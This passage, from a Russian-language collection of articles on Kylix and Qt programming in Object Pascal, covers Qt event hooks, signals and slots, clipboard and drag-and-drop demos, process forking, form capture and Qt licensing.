QPushButton_setDefault(Button1.Handle, True);Конечно, тоже самое можно было бы сделать и при помощи свойства Default объекта Button1. В заключение отмечу одну юридическую тонкость, касающуюся использования Qt и Kylix. Библиотека Qt library распространяется на основе двух типов лицензий: бесплатной и коммерческой. Если Вы получили Qt в составе дистрибутива Linux, значит Вы являетесь обладателем бесплатной лицензии. За коммерческую лицензию Вам придется заплатить дополнительно. Бесплатная лицензия дает Вам право на разработку Qt приложений при условии, что эти приложения будут распространяться на основе General Public License (GPL), т. е. вместе с исходным текстом. Для того, чтобы иметь право распространять Qt приложения на коммерческой основе, Вам потребуется коммерческая лицензия. Если Вы являетесь пользователем легальной копии Kylix, т. е. обладаете лицензией Borland, Вы имеете право создавать при помощи Kylix как открытые, так и коммерческие приложения, даже если у Вас нет коммерческой лицензии на использование Qt. Однако тут действуют некоторые ограничения: Если Вы используете в коммерческом приложении элементы CLXDisplay API, Ваше приложения должно содержать экземпляр TApplication и хотя бы один компонент, являющийся производным от TControl. В противном случае Вы должны либо распространять приложение на основе GPL, либо приобрести коммерческую лицензию на использование Qt. Если в создаваемом приложении Вы используете Qt-функциональность, не связанную с CLXDisplay API, (например, взаимодействуя непосредственно с С++ модулями Qt), Вы также должны либо сделать приложение открытым, либо приобрести коммерческую Qt лицензию. Есть, конечно, и третий путь - просто наплевать на все лицензии, однако я Вам этот вариант не советую.
В этой статье была описана работа с Linux API и вызовы методов объектов Qt library из программы, написанной на Object Pascal. Однако, для того, чтобы воспользоваться мощью Qt в полной мере, необходимо также уметь создавать свои обработчики событий Qt library. О том, как это сделать, будет рассказано в следующей статье.
Перехватчики событий, сигналы и слоты.
Автор: Андрей Боровский WEB-сайт: http://kylixportal.chat.ru Перехватчики событий В предыдущей статье была рассмотрена обработка событий Qt в обработчике события OnEvent Kylix класса TApplication. В этой статье будет показан другой метод обработки событий Qt - использование перехватчиков событий (event hooks). Перехватчики событий подобны обработчику события OnEvent, с той разницей, что перехватчики событий позволяют подойти к обработке событий более дифференцировано. Перехватчики назначаются для отдельных объектов Qt, причем каждому объекту может быть назначено несколько перехватчиков для обработки разных типов событий. Перехватчик может быть процедурой или функцией, являющейся методом объекта Object Pascal и использующей формат вызова cdecl. Для того, чтобы назначить перехватчик какому-либо экземпляру класса Qt, необходимо создать экземпляр класса перехватчика для данного объекта Qt и связать его с методом-обработчиком. Функции, позволяющие сделать это, как и другие функции CLXDisplay API, декларируются в модуле Qt (файл Qt.pas).В предыдущей статье было писано демонстрационное приложение, позволяющее перемещать фрагменты текста методом Drag and Drop. Теперь мы перепишем это приложение, используя перехватчики событий. Перехватчик назначается компоненту TLabel в конструкторе главной формы. Ниже приводятся декларация класса и исходный текст конструктора.
TForm1 = class(TForm)
Label1: TLabel;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormCreate(Sender: TObject);
procedure Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
private
{ Private declarations }
public
{ Public declarations }
DropHook: QEvent_hookH;
function EventHandler(Handle: QObjectH; e: QEventH): Boolean; cdecl;
end;
...
procedure TForm1.FormCreate(Sender: TObject);
var
M: TMethod;
begin
DropHook := QEvent_hook_create(Label1.Handle);
EventFunc(M) := EventHandler;
Qt_hook_hook_events(DropHook, M);
end;
DropHook - переменная типа QEvent_hookH, ссылка на объект-перехватчик событий. Не путайте этот объект с объектом, события которого перехватываются. В CLXDisplay API определено несколько объектов перехватчиков различных типов, и для создания каждого из них используется специальная функция. В данном примере мы создаем наиболее общий объект-перехватчик, перехватывающий события разных типов. Функция QEvent_hook_create создает экземпляр такого объекта и связывает его с экземпляром класса, события которого необходимо обрабатывать (в нашем случае - экземпляр QLabel).
Далее мы присваиваем переменной M указатель на метод перехватчик EventHandler. Обратите внимание на преобразование типов. Для того, чтобы выполнить преобразование корректно, необходимо определить тип-функцию.
EventFunc = function(Handle: QObjectH; e: QEventH): Boolean of object; cdecl;декларация которой в точности соответствует декларации метода-перехватчика. Связывание метода перехватчика с объектом-перехватчиком выполняется функцией Qt_hook_hook_events. Первый параметр функции - указатель на объект-перехватчик, второй параметр - указатель на метод. Учтите, что для каждой пары "объект-перехватчик / тип перехватываемых событий" в модуле Qt определена своя функция, связывающая объекты и методы перехватчики. Сам метод перехватчик похож на метод обработки событий из предыдущего примера. Ссылка на объект события передается в переменной e, а значение, указывающее на то, следует ли вызывать обработчик события, назначенный объекту по умолчанию, возвращается в качестве результата функции. Обратите внимание на то, что в новом примере мы не проверяем, с каким Qt объектом связано обрабатываемое событие. В этом нет необходимости, так как метод перехватчик связан лишь с одним экземпляром Qt класса. Однако мы могли бы связать этот метод с несколькими объектами, и тогда параметр Handle позволил бы нам определить, каким Qt объектом вызван перехватчик. Уничтожение объекта-перехватчика выполняется в деструкторе формы. Для этого служит функция QEvent_hook_destroy. Исходный текст демонстрационного приложения находится здесь. Как и пример из предыдущей статьи, это приложение может быть скомпилировано и в Kylix (для Linux), и в Delphi 6 (для Windows). Для того, чтобы это приложение выполнялось корректно, Вам возможно придется исправить ошибку в модуле Qt (см. предыдущую статью).
Еще один пример использования перехватчиков - приложение, отслеживающее состояние буфера обмена Qt. Это приложение отображает информацию о mime-типах данных, скопированных в буфер обмена. Кроме того, если в буфере обмена присутствуют данные в текстовом формате, приложение отображает и сами данные. Информация обновляется при изменении содержимого буфера обмена. Для того, чтобы контролировать состояние буфера обмена, мы создаем объект-перехватчик QClipboard_hook и связываем его с методом перехватчиком, имеющим тип QClipboard_dataChanged_Event. Этот метод вызывается всякий раз при изменении содержимого буфера обмена. Ниже приводится исходный текст метода перехватчика.
procedure TForm1.ClipboardDataChanged;
var
QMS: QMimeSourceH;
S: WideString;
S1: string;
i: Integer;
begin
QMS := QClipboard_data(CB);
Memo1.Lines.Clear;
(* enumerating clipboard data formats *)
i := 0;
S1 := QMimeSource_format(QMS, i);
while S1 <> '' do
begin
Memo1.Lines.Add(S1);
Inc(i);
S1 := QMimeSource_format(QMS, i);
end;
Label3.Caption := '';
(* if text data is available, we retrieve it *)
if QTextDrag_canDecode(QMS) then
begin
QTextDrag_Decode(QMS, @S);
Label3.Caption := S;
end;
end;
Переменная CB указывает на объект буфера обмена. При помощи функции QClipboard_data мы получаем ссылку на объект QMimeSourceH, являющийся контейнером данных, содержащихся в буфере обмена. Этот объект позволяет также получить информацию о типах данных, для чего используется функция QMimeSource_format. Эта функция возвращает строку с именем типа данных. Первый параметр функции - указатель на объект-контейнер, второй параметр - номер типа данных. Типы нумеруются с нуля. Если значение этого параметра превышает номер последнего типа, возвращается пустая строка. В нашем примере мы добавляем строки с именами типов в объект Memo1. Далее с помощью функции QTextDrag_canDecode мы проверяем, содержит ли объект-контейнер данные в текстовом формате и если содержит, извлекаем эти данные при помощи функции QTextDrag_Decode.
Полный исходный текст демонстрационного приложения находится здесь. Отслеживание содержимого буфера обмена работает корректно только для приложений, использующих Qt буфер. С учетом этих ограничений демонстрационное приложение работает и в Windows (будучи скомпилировано в Delphi 6). Для демонстрации его работы Вы можете воспользоваться либо Qt приложениями (в Linux) либо примерами использования CLXDisplay API, поставляемыми с Delphi 6 (в Windows).
В демонстрационном приложении содержится также другой пример использования перехватчиков, в котором с одним объектом-перехватчиком связываются два метода перехватчика. Метод ButtonPressed вызывается в момент, когда кнопка Button1 нажата, метод ButtonReleased в момент, когда кнопка отпущена.
Сигналы и слоты
В приложениях, построенных на основе иерархии объектов часто бывает необходимо, чтобы в ответ на событие, связанное с одним из объектов, вызывался метод другого объекта. Рассмотрим такой пример: пусть в нашем приложении требуется ввести обработку события SomeEvent, связанного с каким-либо объектом VCL. В объекте определено свойство OnSomeEvent процедурного типа TSomeEvent. Когда мы назначаем обработчик событию, мы инициализируем свойство OnSomeEvent значением указателя на метод, список параметров которого соответствует типу TSomeEvent. Как правило метод-обработчик не является методом того объекта, которому принадлежит свойство OnSomeEvent. Таким образом мы устанавливаем связь между двумя объектами. Когда в системе происходит событие SomeEvent, в объекте, с которым связано это событие, выполняется проверка содержимого свойства OnSomeEvent, и если это свойство инициализировано, вызывается соответствующий метод-обработчик.
В Qt library взаимодействие между объектами осуществляется при помощи механизма сигналов и слотов. Объект Qt генерирует (в терминологии Qt "эмитирует") сигнал в ответ на событие. Для приема и обработки сигналов служат слоты. Также как и сигналы, слоты являются частью объектов Qt. Каждому слоту в данном объекте сопоставлен какой-либо метод этого объекта. Для того, чтобы объект реагировал на некоторый сигнал, необходимо связать этот сигнал с одним из слотов объекта. В этом случае после генерации сигнала будет вызван метод, соответствующий данному слоту. Если сигнал несет какие-либо данные о событии, эти данные могут быть переданы методу обработчику через его параметры. Связывание сигналов и слотов похоже на назначение обработчиков событий объектов Object Pascal, однако между реализацией взаимодействия объектов в Object Pascal и Qt есть существенные различия. Многие объекты библиотеки Qt library уже имеют слоты для обработки определенных сигналов и для связывания их друг с другом не требуется перекрывать их методы в объектах-потомках. Во-вторых механизм взаимодействия сигналов и слотов позволяет связывать сигналы и слоты разных типов, не заботясь о соответствии списков параметров. Если список параметров сигнала не соответствует списку параметров обработчика, при вызове обработчик получает значения параметров, установленные по умолчанию. Третье отличие заключается в возможности связывать один сигнал с несколькими слотами и один слот с несколькими сигналами. Это означает, что событию может быть сопоставлено несколько обработчиков, являющихся методами разных объектов, и в ответ на событие будут вызываться все назначенные ему обработчики.
CLXDisplay API предоставляет средства для работы с сигналами и слотами Qt. Для связывания сигналов и слотов служит функция QObject_connect. Функции передается четыре параметра. Первый параметр - указатель на объект-источник сигнала. Второй параметр - строка типа PChar. В этой строке передается имя сигнала, соответствующее синтаксису языка C++. Имя сигнала должно предваряться символом "2". Третий параметр функции QObject_connect - указатель на метод-приемник. Четвертый параметр - строка типа PChar, содержащая имя слота, соответствующее синтаксису C++ и предваряемое символом "1".
Рассмотрим пример:
В Qt классе QLineEdit, лежащем в основе компонента VisualCLX TEdit, определен сигнал textChanged, который эмитируется при изменении строки в окне компонента. В классе QLabel, на котором основан компонент TLabel, определен слот setText, который позволяет задать строку в компоненте Label. Если связать сигнал textChanged экземпляра класса QLineEdit со слотом setText экземпляра класса QLabel, изменения в строке ввода будут немедленно отображаться в строке QLabel. Для того, чтобы связать указанные сигнал и слот, необходимо вызвать функцию QObject_connect со следующими значениями:
QObject_connect(Edit1.Handle, PChar('2textChanged ( const QString & )'),
Label2.Handle, PChar('1setText( const QString & )'));
Первый параметр - указатель на объект-источник сигнала, в данном случае QEdit. Второй параметр - имя сигнала, определенное в заголовочном файле C++ qlineedit.h, с прибавлением двойки, указывающей на то, что это сигнал. Третий параметр - ссылка на объект-приемник сигнала (QLabel). Четвертый параметр - имя слота из файла qlabel.h с прибавлением единицы. Обратите внимание на то, что в данном случае списки параметров сигнала и слота совпадают, так что в ответ на сигнал слоту будет передана строка измененного текста. Приложение, демонстрирующее связывание сигналов и слотов в Object Pascal, можно скачать здесь. Следует отметить, что в Delphi 6 это приложение работает не совсем корректно.
Для разрыва связи между сигналом и слотом используется функция QObject_disconnect. Обычно в обращении к этой функции нет необходимости, так как при уничтожении экземпляра Qt объекта все связи с его сигналами и слотами разрываются автоматически. Функцию QObject_disconnect следует использовать если необходимо разорвать связь между сигналом и слотом до уничтожения соответствующих объектов. Список параметров у функции QObject_disconnect такой же, как и у функции QObject_connect. Значение nil, переданное функции QObject_connect в том или ином параметре (сигнал, слот, объект приемник), интерпретируется функцией как "групповой символ" и позволяет выполнять операцию разрыва связи сразу над множеством элементов. Например, вызов.
QObject_disconnect(SomeControl.Handle, PChar('2SomeSignal ()'), nil, nil);
отсоединяет все слоты, связанные с сигналом SomeSignal Qt объекта, соответствующего SomeControl.
В рамках CLXDisplay API определено большое количество сигналов и слотов. Если же Вы захотите добавить свои сигналы и слоты, Вам придется объединить фрагменты программ, написанные на Object Pascal и C++.
Как клонировать процесс.
Автор: http://www.swissdelphicenter.ch
{
In Linux it is possible to duplicate a process with fork. In the original
process, fork will return the handle to the duplicated process. The
duplicated process will return zero.
}
program TestFork;
{$APPTYPE CONSOLE}
uses
SysUtils,
Libc;
var
ForkedProcessHandle: __pid_t;
bForked: Boolean;
procedure ForkNow;
begin
bForked := true;
ForkedProcessHandle := fork;
end;
function IsForked: Boolean;
begin
Result := (ForkedProcessHandle = 0) and bForked;
end;
var
Lf: Integer;
begin
sigignore(SIGCHLD);
bForked := false;
WriteLn('do some stuff');
WriteLn('before fork');
ForkNow;
WriteLn('after fork - we have dublicated the process');
if IsForked then
begin
WriteLn('do some stuff in forked process (wait 5s)');
for Lf := 0 to 50 do
begin
Write('f');
sleep(100);
end;
end
else
begin
WriteLn('do stuff in original process (wait 10)');
for Lf := 0 to 100 do
begin
Write('o');
sleep(100);
end;
end;
WriteLn;
if IsForked then
WriteLn('forked process end')
else
WriteLn('original process end');
end.
{
Output of this demo app:
do some stuff
before fork
after fork - we have dublicated the process
after fork - we have dublicated the process
do some stuff in forked process (wait 5s)
fdo stuff in original process (wait 10)
ooffooffooffooffooffooffooffooffooffooffooffooffooffooffooffooffooffooff
ooffooffooffooffooffooffooffoo
forked process end
ooooooooooooooooooooooooooooooooooooooooooooooooo
original process end
}
Как отловить CLX форму.
Автор: http://www.swissdelphicenter.ch
{
Capturing a CLX form is easy, once you know.
It took me a little time to find out, so I'm giving the knowledge to help others :
}
type
TFormCapturable = class(TForm)
public
procedure PrintOne;
end;
var
FormCapturable: TFormCapturable;
implementation
uses
Qt;
procedure TFormCapturable.PrintOne;
var
aBitmap: TBitmap;
aWinHandle: QWidgetH;
aWinId: Cardinal;
x, y, w, h: integer;
begin
// create a new bitmap to hold the captured screen
aBitMap := TBitmap.Create;
try
// get a handle on the desktop
aWinHandle := QApplication_desktop;
// get the Id from the desktop handle
aWinId := QWidget_winId(aWinHandle);
// get the position and size of the windows
x := Self.Left;
y := Self.Top;
w := Self.Width;
h := Self.Height;
// capture the window into the bitmap's pixmap
QPixmap_grabWindow(aBitmap.Handle, aWinId, x, y, w, h);
// save the bitmap
aBitMap.SaveToFile('c:\temp\test.bmp');
finally
// don't forget to kill the bitmap after use.
FreeAndNil(aBitMap);
end;
end;
Как отлаживать консольные приложения.
Автор: http://www.swissdelphicenter.ch As with Delphi you can use Kylix to write console applications even though many people think that's not important. ;-) When you start a console program in the Delphi Debugger it automatically opens a console window ("DOS command prompt") where you can see the output of e.g. the writeln command. Kylix doesn't do that automatically and if you don't look hard enough you might think it is impossible to debug console applications with it.But if you open the run / parameters dialog you will find an entry called "Use Launcher Application" that is prefilled with xconsole. Just tick this option and there you go.
Обработка событий Qt в Kylix-приложении.
Автор: Андрей Боровский WEB-сайт: http://kylixportal.chat.ru Что представляют собой события Qt? Система Windows взаимодействует с приложениями посредством механизма сообщений, обработка которых осуществляется в оконной функции. В приложениях, созданных на основе Qt library, сообщения используются редко, а основным механизмом взаимодействия между приложениями и системой являются события. Концептуально события Qt очень похожи на события Kylix. В ответ на событие система вызывает обработчик, являющийся методом Qt-объекта. Каждому событию в Qt соответствует свой класс. Обработчику события передается ссылка на экзмпляр класса события, содержащий необходимую информацию о нем. Для того, чтобы определить собственный обработчик события для какого-либо Qt класса, следует создать производный класс этого класса и заместить (override) метод-обработчик соответствующего события. Однако средства Object Pascal не позволяют создавать производные классы Qt и замещать их методы, поэтому в Kylix реализован специальный механизм обработки событий. События Qt и Kylix Прежде чем приступить к рассмотрению специальных методов обработки событий Qt в Kylix, необходимо отметить, что в большинстве случаев у программиста не возникает необходимости обращаться к этим методам. Для большинства событий Qt в объектной модели Kylix определены соответствующие события Kylix, и обработка этих событий может быть выполнена стандартными средствами Object Pascal. Тем не менее иногда возникает необходимость ввести в приложении обработку Qt событий, не определенных в VisualCLX. В CLXDisplay API предусмотрено несколько механизмов обработки таких событий. В этой статье будет рассмотрен один из них. Как и в Delphi, в Kylix приложения строятся на основе класса TApplication. В Kylix в классе TApplication определено свойство OnEvent, позволяющее назначать приложению обработчик событий Qt. Обработчик OnEvent вызывается для каждого события каждого объекта Qt, являющегося дочерним объектом форм приложения, а также для других событий приложения.Тип процедуры обработчика декларируется следующим образом:
procedure(Sender: QObjectH; Event: QEventH; var Handled: Boolean) of object;В параметре Sender передается ссылка на объект, который должен реагировать на событие. Параметр Event является указателем на объект события. Он позволяет идентифицировать событие и получить информацию о нем. Переменная Handled позволяет сообщить компоненту Visual CLX о том, следует ли вызывать обработчик события, определенный в компоненте.
Рассмотрим простой пример: допустим мы хотим, чтобы перерисовка окна компонента Label1 типа TLabel не выполнялась, если некоторой глобальной переменной NoRedraw типа Boolean присвоено значение True. для этого напишем следующую процедуру AppEventHandler:
uses Qt, ...
...
procedure TForm1.AppEventHandler(Sender: QObjectH; Event: QEventH;
var Handled: Boolean);
begin
Handled := False; // Allow default event processing
if Sender = Label1.Handle then // Identify sending Qt object
if QEvent_isQPaintEvent(Event) then // Identify the Paint event
Handled := NoRedraw; // Disable or enable default event processing
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
...
Application.OnEvent := AppEventHandler;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
...
Application.OnEvent := nil;
end;
Определить, какому объекту соответствует событие можно, сравнивая значение Sender с полем Handle экземпляров объектов Kylix. Определенные в модуле Qt.pas функции QEvent_isQXXXEvent действуют подобно оператору is языка Object Pascal и позволяют определить тип события, требующего обработки. Аргументом этих функций является ссылка на объект QEvent, являющийся базовым для всех объектов событий. Функция возвращает True, если ей передан укзатель на объект события соответствующего ей типа и False в противном случае. Так как любой объект события в Qt является потомком класса QEvent, после определения типа объекта события мы можем преобразовать тип значения Event к типу указателя на соответствующий объект события и при помощи функций CLXDisplay API получить доступ к методам этого объекта. Переменная Handled служит для того, чтобы разрешить или запретить дальнейшую обработку события стандартными средствами. В начале мы устанавливаем значение этой переменной равным False, для того, чтобы события обрабатывались компонентами. Для того, чтобы запретить дальнейшую обработку события, нужно присвоить этой переменной значение True.
Обратите внимание на присвоение значения nil свойству OnEvent в методе FormClose. Так как время жизни объекта TApplication превышает время жизни объекта TForm, программа может пытаться вызвать обработчик OnEvent после уничтожения формы. Если после закрытия формы данное поле не будет помечено как свободное (unassigned), при выходе из программы возникнет ошибка сегментации.
Программа, демонстрирующая механизм Drag and Drop Далее рассматривается небольшое приложение, демонстрирующее перенос данных между двумя Qt-программами методом Drag and Drop. Средства Drag and Drop, предоставляемые Kylix, позволяют переносить данные только между объектами Kylix-приложения, а для того, чтобы осуществлять перенос между разными приложениями, придется обратиться к методам объектов Qt library.
Последовательность событий при использовании механизма Drag and Drop такова: когда пользователь переводит курсор мыши в режиме перетаскивания в область визуального Qt объекта, являющегося приемником Drag and Drop, система генерирует событие dragEnterEvent и вызывает обработчик этого события, определенный в объекте-приемнике. В ответ на это событие объект должен либо подтвердить выполнение Drag and Drop операции, либо отказаться от него. Если объект-приемник подтверждает операцию, курсор мыши приобретает характерный вид "готов к приему объекта" и пользователь может отпустить кнопку мыши для передачи объекта Drag and Drop объекту-приемнику. В противном случае курсор принимает вид "прием Drag and Drop запрещен" и дальнейшие события Drag and Drop не генерируются. Если объект-приемник разрешил Drag and Drop операцию, при дальнейшем перемещении мыши над видимой областью соответствующего интерфейсного элемента генерируется серия событий dragMoveEvent. Если пользователь отпускает клавишу мыши, генерируется событие DropEvent. Обработчик этого события должен выполнить непосредственную операцию вставки данных. При выходе курсора, находящегося в режиме перетаскивания, за пределы визуального элемента система генерирует событие dragLeaveEvent. Следует особо отметить, что обработчики событий не должны уничтожать объекты событий, так как эти объекты контролируются системой.
Для того, чтобы какой-либо элемент Qt приложения мог принимать данные, передаваемые посредством Drag and Drop, необходимо создать производный класс от класса этого элемента, разрешить в этом классе прием Drag and Drop объектов, вызвав метод setAcceptDrops базового класса QWidget и заместить методы обработки событий dragEnterEvent, dragMoveEvent, dragLeaveEvent и DropEvent. Программирование Drag and Drop для Kylix приложения имеет некоторые отличия. В Kylix-приложении прием объектов Drag and Drop разрешен для всех компонентов VCL, поэтому вызывать setAcceptDrops не нужно. Кроме того, поскольку методы компонентов VisualCLX перекрывают обработчики событий Drag and Drop, подтверждать Drag and Drop операции необходимо также и в обработчике события dragMoveEvent. В принципе в Kylix приложении вообще нет необходимости обрабатывать событие dragEnterEvent, но в приводимом ниже примере такая обарботка выполняется для большей наглядности.
Демонстрационное приложение позволяет перетаскивать и вставлять фрагменты текста. Для приема и передачи объектов Drag and Drop используется компонент Label. Ниже приводится обработчик Qt событий AppEventHandler.
procedure TForm1.AppEventHandler;
var
QMS: QMimeSourceH;
S: WideString;
begin
Handled := False;
if Sender = Label1.Handle then
if QEvent_isQDropEventEvent(Event) then
begin
if QEvent_isQDragEnterEvent(Event) then
begin
if QDropEvent_source(QDropEventH(Event)) = Label1.Handle then
Exit;
QMS := QDropEvent_to_QMimeSource(QDropEventH(Event));
QDropEvent_acceptAction(QDropEventH(Event), QTextDrag_canDecode(QMS));
end
else if QEvent_isQDragMoveEvent(Event) then
begin
if QDropEvent_source(QDropEventH(Event)) = Label1.Handle then
Exit;
QMS := QDropEvent_to_QMimeSource(QDropEventH(Event));
QDropEvent_acceptAction(QDropEventH(Event), QTextDrag_canDecode(QMS))
end
else
begin
QMS := QDropEvent_to_QMimeSource(QDropEventH(Event));
if QTextDrag_canDecode(QMS) then
QTextDrag_decode(QMS, @S);
Label1.Caption := S;
end;
end;
end;
Прежде чем разобрать работу этого метода, отмечу одну деталь: в модуле Qt содержится ошибка. При первых попытках скомпилировать программу для работы с Drag and Drop, компиляция проходила без проблем, однако приложение аварийно завершалось сразу после запуска. Анализ сообщений, выводимых на консоль, показал, что программа не может разрешить ссылку на внешний объект с именем QEvent_isQDropEventEvent. Эта функция декларируется в файле Qt.pas, однако, судя по сообщениям, выводившимся во время выполнения программы, разделяемая библиотека libqtintf.so.2 не экспортирует функцию с таким именем. Очевидно, что в имя функции вкралась опечатка. Для того, чтобы исправить ошибку я изменил декларацию внешней функции QEvent_isQDropEventEvent в файле Qt.pas. В разделе implementation, в строке, объявляющей экспорт функции, после ключевого слова name я заменил "QEvent_isQDropEventEvent" на "QEvent_isQDropEvent", после чего программа заработала. Остальные имена в декларации функции я менять не стал, так что модуль Qt по-прежнему экспортирует эту функцию как QEvent_isQDropEventEvent. Если Вы хотите иметь возможность запускать демонстрационное приложение из этой статьи, Вы должны сделать тоже самое и перекомпилировать модуль Qt. Между прочим, эта же ошибка имеет место и в соответствующем модуле Delphi 6.
Функции QEvent_isQDragEnterEvent, QEvent_isQDragMoveEvent и QEvent_isQDropEventEvent служат для идентификации событий. Порядок их вызова неслучаен. Отношения наследования между классами этих трех событий можно представить так: QDropEvent => QDragMoveEvent => QDragEnterEvent. Таким образом функция QEvent_isQDropEventEvent вернет значение True для всех трех событий. Действия, связанные собственно с событием DropEvent, следует выполнять только если первые проверки вернули False.
Функция QDropEvent_source вызывает метод source объекта события QDropEvent - базового объекта событий Drag and Drop. Обратите внимание на преобразование типа аргумента функции. Такое преобразование корректно, поскольку объекты QDragEnterEvent и QDragMoveEvent являются потомками объекта QDropEvent. QDropEvent_source позволяет определить источник объекта Drag and Drop. Поскольку в создаваемом приложении компонент Label является и приемником и источником объектов Drag and Drop, мы должны проверять, какой Qt объект создал данный объект Drag and Drop и не выполнять дальнейшую обработку события, если источником объекта является компонент Label1.
Функция QDropEvent_to_QMimeSource преобразует объект типа QDropEvent в объект типа QMimeSource, являющийся контейнером передаваемых данных. Функция QDropEvent_acceptAction позволяет подтвердить операцию Drag and Drop, или отказаться от нее. Первый аргумент функции - ссылка на объект QDropEvent, второй аргумент - значение True или False. Для определения того, следует ли обрабатывать событие, мы используем функцию QTextDrag_canDecode. Эта функция возвращает True, если переданный ей объект QMimeSource содержит данные в текстовом формате и False в противном случае. Функция QTextDrag_decode извлекает текстовые данные из объекта QMimeSource. Обратите внимание, что обработчик не должен пытаться уничтожить объекты QMimeSource
Для того, чтобы Qt приложение могло стать источником объектов Drag and Drop, необходимо создать объект-контейнер данных и вызвать один из методов этого объекта : drag или dragCopy. Объект для перетаскивания лучше всего создавать в момент начала движения мыши при нажатой левой кнопке. В нашем приложении эту функцию выполняет обработчик события OnMouseMove объекта Label1:
procedure TForm1.Label1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
var
TextDragObject: QTextDragH;
S: WideString;
name: PChar;
begin
if ssLeft in Shift then
begin
S := Label1.Caption;
name := 'TextDrag';
TextDragObject := QTextDrag_create(@S, Label1.Handle, name);
if QDragObject_drag(TextDragObject) then
Label1.Caption := '';
end;
end;
Функция QTextDrag_create создает экземпляр объекта-контейнера QTextDrag. Первый параметр - указатель на строку текста, которую мы хотим скопировать. Параметр name может содержать любую строку PChar. Функция QDragObject_drag инициирует процесс Drag and Drop. Эта функция не возвращает управление до тех пор, пока пользователь не отпустит кнопку мыши. QDragObject_drag возвращает значение True, если был выбран режим перемещения данных и False, если был выбран режим копирования. Выбор режима в системе определяется состоянием клавиши Ctrl. Процедура QDragObject_dragCopy выполняет те же действия, но возвращает управление сразу и не передает программе никаких значений. Хотя функция QDragObject_drag возвращает управление обработчику только после того, как пользователь отпустит левую кнопку мыши, обработчик не должен пытаться уничтожить объект QDragObject. Время жизни этого объекта контролируется системой, и попытка уничтожить его вызовет ошибку сегментации.
Полный исходный текст демонстрационного приложения можно скачать здесь. При работе с демонстрационным приложением следует учесть, что не все приложения, написанные для Qt/KDE, поддерживают Drag and Drop. Некоторые приложения, например KWord, могут быть источниками текстовых объектов Drag and Drop, но не приемниками. Учтите также, что в настоящее время Drag and Drop в KDE работает не очень стабильно. Работая с демонстрационной программой, вы можете столкнуться с тем, что некоторые другие приложения, использующиеся как источники или приемники объектов Drag and Drop, будут зависать. Это не связано с Kylix, так как при использовании "фирменных" примеров из поставки Qt возникают те же проблемы, по крайней мере на момент написания этой статьи.
Генерация событий Qt в программе
Обычно события Qt генерируются системой в ответ на действия пользователя или события в самой системе. Однако, иногда бывает желательно вызвать обработчик события из непосредственно из программы. Для этого необходимо создать объект соответствующего события и передать его методу Qt объекта. CLXDisplay API позволяет сделать это при помощи набора функций QOpenWidget_XXXEvent, определенных для различных типов событий. В следующем небольшом примере создаются объекты событий, при помощи которых в поле ввода визуального компонента Edit1 типа TEdit вводится текст, а затем эмулируется нажатие клавиши BackSpace (код $1003), стирающее последний введенный символ.
var KeyEvent: QKeyEventH; S: WideString; ... begin ... S := 'Some little text'; KeyEvent := QKeyEvent_create(QEventType_KeyPress, 0, 0, 0, @S, False, 0); QOpenWidget_keyPressEvent(QOpenWidgetH(Edit1.Handle), KeyEvent); QKeyEvent_destroy(KeyEvent); KeyEvent := QKeyEvent_create(QEventType_KeyPress, $1003, 0, 0, nil, False, 0); QOpenWidget_keyPressEvent(QOpenWidgetH(Edit1.Handle), KeyEvent); QKeyEvent_destroy(KeyEvent); ...
Рассмотренный в этой статье метод обработки событий - не единственный. В следующей статье будут рассмторены перехватчики событий, а также еще один механизм взаимодействия между объектами Qt - сигналы и слоты.
Kylix - Первые впечатления.
Автор: Андрей Боровский WEB-сайт: http://kylixportal.chat.ru Первые впечатления Наверное каждый программист, хотя бы время от времени работающий с Delphi, слышал о том, что Kylix – это Delphi для Linux. Более строго, Kylix – это средство разработки на основе ObjectPascal и VCL для платформы Linux/QT. Данная серия статей предназначена прежде всего для программистов, ранее писавших на Delphi, и желающих теперь освоить программирование для Linux. Я сам пишу программы как на Delphi под Windows, так и на QT под Linux. Надеюсь, мои впечатления и наблюдения покажутся Вам полезными. Первый взгляд на Kylix Разработчики из Borland постарались сделать Kylix максимально похожим на Delphi, и это касается не только языка программирования и структуры VCL. Пользовательский интерфейс Kylix полностью воспроизводит интерфейс своего "старшего брата". Даже диалоги открытия и сохранения файлов практически одинаковы в обеих версиях. У программистов, привыкших к интерфейсу Delphi, работа в Kylix не вызовет проблем. Для тех, кто имеет опыт программирования для Linux, отмечу, что интегрированная среда разработки Kylix отличается стабильностью графического интерфейса, развитым набором функций редактирования текста и прекрасной встроенной справочной системой. Кроме того, Kylix снабжен отличной печатной документацией (на компакт-диске имеются ее электронные версии): руководством по языку ObjectPascal, справочником по библиотеке VCL (Библиотека визуальных компонентов) и руководством для быстрого освоения пакета. Преимущества Kylix – те же, что и у Delphi: ускорение цикла разработки приложений, готовые компоненты для работы с базами данных, Web-интерфейсами и Интернет. К этому следует добавить возможность переноса дополнительных компонентов, написанных для Delphi. Тут надо отдать должное разработчикам: для переноса модулей, написанных исключительно средствами ObjectPascal и VCL, достаточно просто перекомпилировать исходные тексты в новой среде. Естественно, многие компании и программисты, занимающиеся разработкой компонентов для Delphi, уже выпустили их версии и для Kylix. Некоторые из этих компонентов можно найти на втором диске дистрибутива. Немного соли и желчи Традиционными недостатками Delphi считаются медлительность и громоздкость результирующего кода. К сожалению, в этом вопросе Kylix также копирует своего "старшего брата". Для того, чтобы приложение, написанное в Kylix, могло работать отдельно от среды разработки, ему требуются некоторые разделяемые модули времени выполнения (runtime packages). Список модулей, которые могут понадобиться Kylix приложению, а также правила их распространения и установки приводятся в файле DEPLOY, расположенном на первом диске дистрибутива. Размеры самих исполнимых модулей примерно такие же, как и в случае с Delphi, простейшее приложение занимает на диске ~ 400 килобайт. Плюс несколько сотен килобайт дополнительных модулей, которые в Delphi не нужны. Для сравнения: простое приложение, написанное на Delphi без использования модулей SysUtils, Classes, Forms и т. п. (т. е. используя только Windows API) занимает 20-40 килобайт. Такой же размер имеет и аналогичное Linux приложение, написанное на C++ с использованием QT library. Очевидно, что Kylix – не лучший выбор в ситуации, когда компактность кода и быстрота являются критическими параметрами. Все это не умаляет, однако, достоинств Kylix, как средства быстрой разработки приложений для работы с сетью и базами данных, а при использовании большого числа Kylix приложений, удельные расходы на разделяемые модули времени выполнения снижаются.P.S. Для тех, кто не знает, kylix - это античная винная чаша, обычно 